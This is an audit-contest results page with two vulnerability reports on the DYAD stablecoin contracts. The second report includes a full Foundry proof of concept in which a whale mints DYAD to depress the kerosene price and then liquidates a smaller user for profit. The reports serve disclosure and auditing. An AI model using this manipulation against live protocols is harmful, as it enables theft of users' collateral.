DYAD - zhuying's results

The first capital efficient overcollateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 18/04/2024

Pot Size: $36,500 USDC

Total HM: 19

Participants: 183

Period: 7 days

Judge: Koolex

Id: 367

League: ETH

DYAD

Findings Distribution

Researcher Performance

Rank: 107/183

Findings: 2

Award: $8.59

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

3.7207 USDC - $3.72

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sufficient quality report
:robot:_08_group
duplicate-70

External Links

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L64-L65 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L80-L91

Vulnerability details

Impact

DNFT owner can't add kerosine vault into the vaultsKerosene. So when user deposit kerosine into the kerosine vault, the getKeroseneValue will be zero. Kerosine in kerosine vault is useless, can't provide the max 50% collateral to mint DYAD. And beacuse of:

kerosineManager.add(address(ethVault)); kerosineManager.add(address(wstEth));

The exogenous vault can be added to the vaultsKerosene. And the exogenous vault can also be added to the vaults. So the user's collateral value is exaggerate and lead to mint more DYAD than normal case.

Proof of Concept

Paste code into v2.t.sol:

function testCantAddKerosineVaultTovaultsKerosene() public { address DNFTOwner = 0x3682827F48F8E023EE40707dEe82620D0B63579f; vm.startPrank(DNFTOwner); vm.expectRevert(VaultNotLicensed.selector); contracts.vaultManager.addKerosene(0, address(contracts.unboundedKerosineVault)); vm.expectRevert(VaultNotLicensed.selector); contracts.vaultManager.addKerosene(0, address(contracts.boundedKerosineVault)); vm.stopPrank(); }

Enter the following command in the terminal:

forge test --mt testCantAddKerosineVaultTovaultsKerosene --rpc-url https://eth-mainnet.g.alchemy.com/v2/YOUR_API_KEY

Results:

Ran 1 test for test/fork/v2.t.sol:V2Test [PASS] testCantAddKerosineVaultTovaultsKerosene() (gas: 45368) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.41s (996.41ms CPU time)

Tools Used

manual and foundry

kerosineManager is used to track the vaults which have exogenous collateral and calculate kerosine price. It shouldn't be used to check the license of kerosine vault. Create another licenser specifically for check the license of kerosine vault.

Assessed type

Other

#0 - c4-pre-sort

2024-04-29T05:27:25Z

JustDravee marked the issue as duplicate of #70

#1 - c4-pre-sort

2024-04-29T12:01:31Z

JustDravee marked the issue as sufficient quality report

#2 - c4-judge

2024-05-11T19:58:13Z

koolexcrypto marked the issue as satisfactory

#3 - c4-judge

2024-05-13T18:36:27Z

koolexcrypto changed the severity to 2 (Med Risk)

Awards

4.8719 USDC - $4.87

Labels

bug
2 (Med Risk)
satisfactory
sufficient quality report
:robot:_67_group
duplicate-67

External Links

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/staking/KerosineDenominator.sol#L17-L22 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L50-L68

Vulnerability details

Impact

The kerosene price is calculated as follows: X=C−DKX = \frac{C - D}{K} When TVL remains relatively constant, minting a large number of tokens leads to kerosene price declines. So some users can be liquidated suddenly. The attack path can be:

  1. A whale deposit a large number of WETH into the vault and don't mint
  2. A user deposit a little WETH and Kerosene, then mint a little DYAD. The user's kerosene value accounts for near 50% of non kerosene value. At this moment the user's collateral ratio is above MIN_COLLATERIZATION_RATIO.
  3. The whale find the information about this user. He starts to mint a large number of DYAD tokens. The kerosene token price starts to decline, the user's collateral ratio is below MIN_COLLATERIZATION_RATIO. The next moment the whale can liquidate the user and get the partial of user's collateral. Because the whale's collateral are all WETH. His collateral ratio remain unchanged.

Proof of Concept

Modify the VaultManagerV2.sol a bit(new name: ModifiedVaultManagerV2.sol):

-   if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed();
+   if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed();
-   if (keroseneManager.isLicensed(address(vault))) {
+   if (vaultLicenser.isLicensed(address(vault))) {

Modify the Deploy.v2.s.sol a bit(new name: ModifiedDeploy.v2.s.sol):

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Script.sol";

import {Parameters} from "../../src/params/Parameters.sol";
import {VaultManagerV2} from "../../src/core/ModifiedVaultManagerV2.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Vault} from "../../src/core/Vault.sol";
import {VaultWstEth} from "../../src/core/Vault.wsteth.sol";
import {IWETH} from "../../src/interfaces/IWETH.sol";
import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol";
import {KerosineManager} from "../../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol";
import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";
import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol";

import {ERC20} from "@solmate/src/tokens/ERC20.sol";

struct Contracts {
    Kerosine kerosene;
    Licenser vaultLicenser;
    VaultManagerV2 vaultManager;
    Vault ethVault;
    VaultWstEth wstEth;
    KerosineManager kerosineManager;
    UnboundedKerosineVault unboundedKerosineVault;
    BoundedKerosineVault boundedKerosineVault;
    KerosineDenominator kerosineDenominator;
}

contract DeployV2 is Script, Parameters {
    function run() public returns (Contracts memory) {
        vm.startBroadcast(); // ----------------------

        Licenser vaultLicenser = new Licenser();

        // Vault Manager needs to be licensed through the Vault Manager Licenser
        VaultManagerV2 vaultManager = new VaultManagerV2(DNft(MAINNET_DNFT), Dyad(MAINNET_DYAD), vaultLicenser);

        // weth vault
        Vault ethVault = new Vault(vaultManager, ERC20(MAINNET_WETH), IAggregatorV3(MAINNET_WETH_ORACLE));

        // wsteth vault
        VaultWstEth wstEth =
            new VaultWstEth(vaultManager, ERC20(MAINNET_WSTETH), IAggregatorV3(MAINNET_CHAINLINK_STETH));

        KerosineManager kerosineManager = new KerosineManager();

        kerosineManager.add(address(ethVault));
        kerosineManager.add(address(wstEth));

        vaultManager.setKeroseneManager(kerosineManager);

        kerosineManager.transferOwnership(MAINNET_OWNER);

        UnboundedKerosineVault unboundedKerosineVault =
            new UnboundedKerosineVault(vaultManager, Kerosine(MAINNET_KEROSENE), Dyad(MAINNET_DYAD), kerosineManager);

        BoundedKerosineVault boundedKerosineVault =
            new BoundedKerosineVault(vaultManager, Kerosine(MAINNET_KEROSENE), kerosineManager);

        KerosineDenominator kerosineDenominator = new KerosineDenominator(Kerosine(MAINNET_KEROSENE));

        unboundedKerosineVault.setDenominator(kerosineDenominator);
+       boundedKerosineVault.setUnboundedKerosineVault(unboundedKerosineVault);

        unboundedKerosineVault.transferOwnership(MAINNET_OWNER);
        boundedKerosineVault.transferOwnership(MAINNET_OWNER);

        vaultLicenser.add(address(ethVault));
        vaultLicenser.add(address(wstEth));
        vaultLicenser.add(address(unboundedKerosineVault));
+       vaultLicenser.add(address(boundedKerosineVault));

        vaultLicenser.transferOwnership(MAINNET_OWNER);

        vm.stopBroadcast(); // ----------------------------

        return Contracts(
            Kerosine(MAINNET_KEROSENE),
            vaultLicenser,
            vaultManager,
            ethVault,
            wstEth,
            kerosineManager,
            unboundedKerosineVault,
            boundedKerosineVault,
            kerosineDenominator
        );
    }
}

Paste the provided code into the test/fork folder:

// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import {DeployV2, Contracts} from "../../script/deploy/ModifiedDeploy.V2.s.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ILicenser { function add(address) external; } contract V2Test is Test, Parameters { Contracts contracts; uint256 public constant MIN_COLLATERIZATION_RATIO = 1.5e18; address DNFTOwner = 0xCAD2EaDA97Ad393584Fe84A5cCA1ef3093E45ae4; uint256 NoteId = 441; address DNFTOwner_attacker = 0x3682827F48F8E023EE40707dEe82620D0B63579f; uint256 NoteId_attacker = 0; uint256 AMOUNT = 100 ether; function setUp() public { contracts = new DeployV2().run(); // simulate TVL deal(MAINNET_WETH, address(contracts.ethVault), IERC20(MAINNET_WETH).balanceOf(MAINNET_WETH_VAULT)); deal(MAINNET_WSTETH, address(contracts.wstEth), IERC20(MAINNET_WSTETH).balanceOf(MAINNET_WSTETH_VAULT)); // DFNTOwner have some WETH and WSTETH deal(MAINNET_WETH, DNFTOwner, AMOUNT); deal(MAINNET_WETH, DNFTOwner_attacker, AMOUNT * 2); // DFNTOwner add vault and kerosine vault vm.startPrank(DNFTOwner); contracts.vaultManager.add(NoteId, address(contracts.ethVault)); contracts.vaultManager.add(NoteId, address(contracts.wstEth)); contracts.vaultManager.addKerosene(NoteId, address(contracts.unboundedKerosineVault)); contracts.vaultManager.addKerosene(NoteId, address(contracts.boundedKerosineVault)); vm.stopPrank(); vm.startPrank(DNFTOwner_attacker); contracts.vaultManager.add(NoteId_attacker, address(contracts.ethVault)); contracts.vaultManager.add(NoteId_attacker, address(contracts.wstEth)); contracts.vaultManager.addKerosene(NoteId_attacker, address(contracts.unboundedKerosineVault)); contracts.vaultManager.addKerosene(NoteId_attacker, address(contracts.boundedKerosineVault)); vm.stopPrank(); // DFNOwner have some kerosene deal(MAINNET_KEROSENE, DNFTOwner, AMOUNT); deal(MAINNET_KEROSENE, DNFTOwner_attacker, AMOUNT); // APPROVE vm.startPrank(DNFTOwner); IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), type(uint128).max); IERC20(MAINNET_KEROSENE).approve(address(contracts.vaultManager), type(uint128).max); vm.stopPrank(); vm.startPrank(DNFTOwner_attacker); IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), type(uint128).max); IERC20(MAINNET_KEROSENE).approve(address(contracts.vaultManager), type(uint128).max); vm.stopPrank(); // add vaultManagerV2 to vault manager licenser vm.prank(MAINNET_OWNER); ILicenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager)); } function testManipulateKerosinePriceLeadToLiquiation() public { vm.startPrank(DNFTOwner_attacker); // attacker deposit to vault contracts.vaultManager.deposit(NoteId_attacker, address(contracts.ethVault), AMOUNT * 2); vm.stopPrank(); vm.startPrank(DNFTOwner); // user deposit to vault contracts.vaultManager.deposit(NoteId, address(contracts.ethVault), 0.005 ether); contracts.vaultManager.deposit(NoteId, address(contracts.boundedKerosineVault), 100 ether); // user mint DYAD contracts.vaultManager.mintDyad(NoteId, 15 * 10 ** 18, DNFTOwner); assertGt(contracts.vaultManager.collatRatio(NoteId), MIN_COLLATERIZATION_RATIO); console.log("----------------collateral ratio and kerosine price after user minting----------------"); console.log("user collateral ratio: %e", contracts.vaultManager.collatRatio(NoteId)); console.log("kerosine price:", contracts.unboundedKerosineVault.assetPrice()); vm.stopPrank(); vm.startPrank(DNFTOwner_attacker); // attacker mint DYAD contracts.vaultManager.mintDyad(NoteId_attacker, 400000 * 10 ** 18, DNFTOwner_attacker); assertLt(contracts.vaultManager.collatRatio(NoteId), MIN_COLLATERIZATION_RATIO); console.log("----------------collateral ratio and kerosine price after attacker minting----------------"); console.log("user collateral ratio: %e", contracts.vaultManager.collatRatio(NoteId)); console.log("kerosine price:", contracts.unboundedKerosineVault.assetPrice()); uint256 attacker_nonkerosene_vaule_before_liquidation = contracts.vaultManager.getNonKeroseneValue(NoteId_attacker); uint256 user_nonkerosene_vaule_before_liquidation = contracts.vaultManager.getNonKeroseneValue(NoteId_attacker); console.log("----------------NonKerosene value before liquidation----------------"); console.log("attacker NonKerosene:", contracts.vaultManager.getNonKeroseneValue(NoteId_attacker)); console.log("user NonKerosene:", contracts.vaultManager.getNonKeroseneValue(NoteId)); // attacker liquidate user contracts.vaultManager.liquidate(NoteId, NoteId_attacker); uint256 attacker_nonkerosene_vaule_after_liquidation = contracts.vaultManager.getNonKeroseneValue(NoteId_attacker); uint256 user_nonkerosene_vaule_after_liquidation = contracts.vaultManager.getNonKeroseneValue(NoteId); assertLt(attacker_nonkerosene_vaule_before_liquidation, attacker_nonkerosene_vaule_after_liquidation); assertGt(user_nonkerosene_vaule_before_liquidation, user_nonkerosene_vaule_after_liquidation); console.log("----------------NonKerosene value after liquidation----------------"); console.log("attacker NonKerosene:", contracts.vaultManager.getNonKeroseneValue(NoteId_attacker)); console.log("user NonKerosene:", contracts.vaultManager.getNonKeroseneValue(NoteId)); vm.stopPrank(); } }

Enter the following command in the terminal:

forge test --mt testManipulateKerosinePriceLeadToLiquiatio --rpc-url https://eth-mainnet.g.alchemy.com/v2/API_KEY -vv

Results:

Ran 1 test for test/fork/Modifiedv2.t.sol:V2Test [PASS] testManipulateKerosinePriceLeadToLiquiation() (gas: 1565114) Logs: ----------------collateral ratio and kerosine price after user minting---------------- user collateral ratio: 1.526687466666666666e18 kerosine price: 3434906 ----------------collateral ratio and kerosine price after attacker minting---------------- user collateral ratio: 1.418193866666666666e18 kerosine price: 2621204 ----------------NonKerosene value before liquidation---------------- attacker NonKerosene: 6.4122e23 user NonKerosene: 1.60305e19 ----------------NonKerosene value after liquidation---------------- attacker NonKerosene: 6.41232248869328951173665e23 user NonKerosene: 3.781630671048826334e18 Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 80.52s (37.89s CPU time)

Tools Used

manual and foundry

Kerosene price are relatively easy to manipulate especially when ETH prices experience significant declines, and there are no good suggestions.

Assessed type

Other

#0 - c4-pre-sort

2024-04-28T05:08:28Z

JustDravee marked the issue as duplicate of #67

#1 - c4-pre-sort

2024-04-29T09:17:05Z

JustDravee marked the issue as sufficient quality report

#2 - c4-judge

2024-05-08T11:50:05Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#3 - c4-judge

2024-05-08T12:58:05Z

koolexcrypto marked the issue as nullified

#4 - c4-judge

2024-05-08T12:58:09Z

koolexcrypto marked the issue as not nullified

#5 - c4-judge

2024-05-11T19:25:45Z

koolexcrypto marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter